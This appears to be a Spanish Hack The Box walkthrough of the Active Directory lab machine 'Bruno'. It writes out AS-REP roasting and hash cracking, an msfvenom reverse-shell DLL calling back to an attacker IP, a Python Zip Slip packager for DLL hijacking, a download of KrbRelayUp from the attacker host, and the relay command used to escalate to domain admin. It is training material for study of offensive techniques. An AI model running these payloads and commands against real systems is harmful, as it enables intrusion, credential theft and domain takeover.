Bruno - HTB

Comencé el análisis de esta máquina realizando un escaneo de puertos tcp con nmap:

sudo nmap -p- -vvv --min-rate 10000 10.129.238.9

Resultados Iniciales y Reconocimiento

Tras examinar los puertos abiertos, clasifiqué los servicios expuestos:

==Servicios de Infraestructura de Dominio (Active Directory)==

• Port 88 (Kerberos): Autenticación de usuarios en el dominio.
• Port 389 / 636 / 3269 (LDAP/S): Protocolo de acceso a directorios. Es la base de datos de usuarios y objetos de Active Directory.
• Port 53 (DNS): Resolución de nombres de dominio (fundamental para que AD funcione).
• Port 9389 (AD Web Services): Utilizado para la administración remota de Active Directory mediante PowerShell.

==Transferencia de Archivos y Compartición==

• Port 21 (FTP): Microsoft ftpd.
• Port 139 / 445 (SMB/NetBIOS): Compartición de archivos y carpetas en Windows.

==Administración y Acceso Remoto==

• Port 3389 (RDP): Escritorio remoto (Terminal Services).
• Port 5985 (WinRM): Administración remota vía HTTP. Es el puerto que usaría con herramientas como evil-winrm.

==Servicios Web==

• Port 80 (HTTP): Servidor IIS 10.0 (página por defecto de Windows Server).
• Port 443 (HTTPS): Servicio web seguro. El certificado menciona una entidad certificadora interna: bruno-BRUNODC-CA.

==Puertos de Soporte de Windows (RPC)==

• Port 135 (RPC Endpoint Mapper): Ayuda a los servicios a comunicarse entre sí.
• Puertos Altos (49664 a 61193): Son puertos efímeros dinámicos utilizados por el sistema para servicios RPC y llamadas a procedimientos remotos.

A continuación, pasé a enumerar los recursos compartidos mediante SMB:

Configuración del Entorno Local

Agregué el objetivo y el controlador de dominio a mi /etc/hosts:

echo "10.129.238.9 bruno.vl BRUNODC BRUNODC.bruno.vl" > /etc/hosts

Dado que interactuaríamos con Kerberos, ajusté la sincronización de tiempo con el controlador de dominio de la máquina:

sudo ntpdate brunodc.bruno.vl

Enumeración Web y Subdominios

Luego, procedí a lanzar un escaneo para el descubrimiento de subdominios usando ffuf:

ffuf -u http://10.129.238.9 -H "Host:FUZZ.bruno.vl" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac

Al inicio, no encontré información alguna en la página por defecto del IIS:

Sin embargo, en el subdominio dev.bruno.vl que descubrimos, encontré un panel en construcción o de mantenimiento:

Enumeración de Compartidos y FTP

Probé enumerar los recursos compartidos a través de sesiones nulas:

Decidí también conectarme al FTP para comprobar si permitía usuarios anónimos:

ftp 10.129.238.9
anonymous

Explotación Inicial (Footprint a la Intranet)

Testeé la validez los posibles usuarios que había recopilado utilizando Kerbrute:

Con usuarios válidos en mano, realicé ataques de envenenamiento y Kerberoasting. Intenté un ataque AS-REP ROAST:

netexec ldap brunodc.bruno.vl -u svc_scan -p '' --asreproast svc_scan.asreproast

Logré extraer el hash de Kerberos:

$krb5asrep$23$svc_scan@BRUNO.VL:8250e1f2b7f91d5de2177219b7...

Y procedí a crackear el hash capturado con mi diccionario local:

hashcat svc_scan.asreproast /usr/share/wordlists/rockyou.txt

La contraseña resultó ser Sunshine1.

Reutilizando esta nueva cuenta, volví a listar los recursos compartidos:

netexec smb brunodc.bruno.vl -u svc_scan -p Sunshine1 --shares

Pude revisar con atención algunos “shares”, especialmente enfocándome en aquellos con permisos menos estrictos.

Y me di cuenta de que tenía permisos de escritura, por lo cual era capaz de subir archivos.

Movimiento Lateral y Elevación de Privilegios

DLL Hijacking

Si analizamos cómo la máquina procesa la inclusión de librerías, al filtrar en ProcMon observamos errores de tipo “NAME NOT FOUND”. El comportamiento que identifiqué es que el programa SampleScanner.exe le dice a Windows: “Necesito el archivo hostfxr.dll, búscalo en mi carpeta actual (C:\samples\app\)”. Windows responde “No está ahí”, e inmediatamente después Windows lo busca en la carpeta del sistema (C:\Program Files\dotnet\...), donde ahí sí logra encontrarlo.

Aprovechándome de esto, creé un payload malicioso para secuestrar el flujo (DLL Hijacking):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.96 LPORT=443 -f dll -o hostfxr.dll

Para la inyección a través del proceso de descompresión o la ingesta en el servidor vulnerable, empaqueté la DLL en un .zip empleando las rutas relativas.

import zipfile

with open('hostfxr.dll', 'rb') as f:
    datos_dll = f.read()

# Creamos el ZIP malicioso
with zipfile.ZipFile('slip-shell.zip', 'w') as zip:
    # Usamos la ruta relativa (posible Zip Slip de paso si aplicara)
    zip.writestr('../app/hostfxr.dll', datos_dll)

print("¡Archivo slip-shell.zip creado con éxito!")

Coloqué el archivo slip-shell.zip en el directorio de la aplicación correspondiente y esperé unos minutos.

Y logré exitosamente obtener una Reverse Shell desde la máquina comprometida a mi listener de netcat:

Escalada a Administrator / System

Una vez establecido en la máquina, procedí a descargar en el objetivo la herramienta KrbRelayUp.exe empleando mi propio servidor HTTP en python.

iwr -uri http://10.10.14.96/KrbRelayUp.exe -OutFile KrbRelayUp.exe

Ejecuté el relay para vulnerar el dominio mediante la creación de una cuenta de máquina para abusar de su certificado/SPN, y luego impersonar un usuario avanzado.

.\KrbRelayUp.exe relay -Domain bruno.vl -CreateNewComputerAccount -ComputerName 'hano$' -ComputerPassword hano7766

Con esta última vulnerabilidad en Active Directory obtuve una sesión completa con privilegios comprometiendo el DC o logrando escalar al System:

¡Máquina rooteada exitosamente!